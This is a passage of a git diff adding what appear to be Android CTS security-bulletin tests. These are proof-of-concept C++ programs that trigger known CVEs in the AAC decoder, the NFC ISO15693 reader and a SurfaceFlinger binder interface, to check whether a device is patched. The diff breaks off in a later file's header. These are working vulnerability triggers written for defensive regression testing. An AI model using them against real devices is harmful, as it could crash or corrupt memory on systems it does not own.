+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <iostream>
+#include <unistd.h>
+#include <dlfcn.h>
+#include <common.h>
+
+#include "tpdec_lib.h"
+
+#define STACK_SIZE 16384
+#define SIZE_OF_VULNERABLE_MEMORY 1024
+#define TRANSPORTDEC_SIZE 5684
+#define INITIAL_VAL 0xBE
+#define TIMEOUT_IN_SECONDS 540
+
+const UINT length = 200;
+UCHAR conf[length] = { 0 };
+UINT layer = 0;
+bool isVulnerable = false;
+bool isPocExecutionComplete = false;
+
+static void* (*real_memcpy)(void*, const void*, size_t) = nullptr;
+static bool s_memory_copy_initialized = false;
+
+int poc(void *sTp) {
+ transportDec_OutOfBandConfig((struct TRANSPORTDEC *) sTp, conf, length,
+ layer);
+ isPocExecutionComplete = true;
+ return EXIT_SUCCESS;
+}
+
+void memory_copy_init(void) {
+ real_memcpy = (void *(*)(void *, const void *,
+ size_t))dlsym(RTLD_NEXT, "memcpy");
+ if (!real_memcpy) {
+ return;
+ }
+ s_memory_copy_initialized = true;
+}
+
+void* memcpy(void* destination, const void* source, size_t num) {
+ if (!s_memory_copy_initialized) {
+ memory_copy_init();
+ }
+ if (num == length) {
+ char *tmp_destination = (char*) destination;
+ for (int i = 0; i < SIZE_OF_VULNERABLE_MEMORY; ++i) {
+ if (tmp_destination[i] == INITIAL_VAL) {
+ isVulnerable = true;
+ break;
+ }
+ }
+ }
+ return real_memcpy(destination, source, num);
+}
+
+int main() {
+ void *sTp = malloc(TRANSPORTDEC_SIZE);
+ if (!sTp) {
+ return EXIT_FAILURE;
+ }
+ char *ptr = (char *) malloc(STACK_SIZE);
+ if (!ptr) {
+ free(sTp);
+ return EXIT_FAILURE;
+ }
+ memset(sTp, 0x00, TRANSPORTDEC_SIZE);
+ memset(ptr, INITIAL_VAL, STACK_SIZE);
+ clone(&poc, ptr + STACK_SIZE, CLONE_VM, sTp);
+ int sleepCounter = 0;
+ while (!isPocExecutionComplete) {
+ if (sleepCounter == TIMEOUT_IN_SECONDS) {
+ break;
+ }
+ sleep(1);
+ ++sleepCounter;
+ }
+ free(ptr);
+ free(sTp);
+ return (isVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
index 0e9fbdd..06e37ec 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
@@ -34,7 +34,7 @@
],
header_libs: [
- "libstagefright_mp3dec",
+ "libstagefright_mp3dec_headers",
],
shared_libs: [
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
new file mode 100644
index 0000000..d6adf3c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0037",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
new file mode 100644
index 0000000..766ee03
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_SET_READ_ONLY;
+ p_i93->sub_state = RW_I93_SUBSTATE_WAIT_CC;
+ p_i93->block_size = 255;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
new file mode 100644
index 0000000..195d430
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0038",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
new file mode 100644
index 0000000..27acfe3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+ p_i93->sub_state = RW_I93_SUBSTATE_RESET_LEN;
+ p_i93->block_size = 30;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
new file mode 100644
index 0000000..16dac28
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0039",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
new file mode 100644
index 0000000..6ebc3f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+ p_i93->sub_state = RW_I93_SUBSTATE_UPDATE_LEN;
+ p_i93->block_size = 30;
+ p_i93->rw_length = 1;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
index 4362d49..fd10060 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
@@ -121,9 +121,8 @@
if (!mListener) {
return false;
}
- mComponent = android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
- &mClient);
- if (!mComponent) {
+ if (android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
+ &mComponent, &mClient) != C2_OK) {
return false;
}
for (int i = 0; i < MAXIMUM_NUMBER_OF_INPUT_BUFFERS; ++i) {
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
new file mode 100644
index 0000000..13f6fc3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0226",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
new file mode 100644
index 0000000..c41ddf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
@@ -0,0 +1,55 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+
+constexpr uint8_t kCount = 128;
+constexpr size_t kPosition = 104;
+
+using namespace android;
+
+int main() {
+ sp < IServiceManager > sm = defaultServiceManager();
+ if (!sm) {
+ return EXIT_FAILURE;
+ }
+ String16 name(String16("SurfaceFlinger"));
+ sp < IBinder > service = sm->checkService(name);
+ if (!service) {
+ return EXIT_FAILURE;
+ }
+
+ uint32_t code = 2, flags = 0;
+ Parcel data1, reply1;
+ data1.writeInterfaceToken(service->getInterfaceDescriptor());
+ service->transact(code, data1, &reply1, flags);
+ sp < IBinder > binder = reply1.readStrongBinder();
+ if (!binder) {
+ return EXIT_FAILURE;
+ }
+
+ Parcel data2, reply2;
+ data2.writeInterfaceToken(binder->getInterfaceDescriptor());
+ for (uint8_t n = 0; n < kCount; ++n) {
+ data2.writeInt32(1);
+ }
+ data2.setDataPosition(kPosition);
+ data2.writeStrongBinder(binder);
+ binder->transact(code, data2, &reply2, flags);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
new file mode 100644
index 0000000..9f254e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0381",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
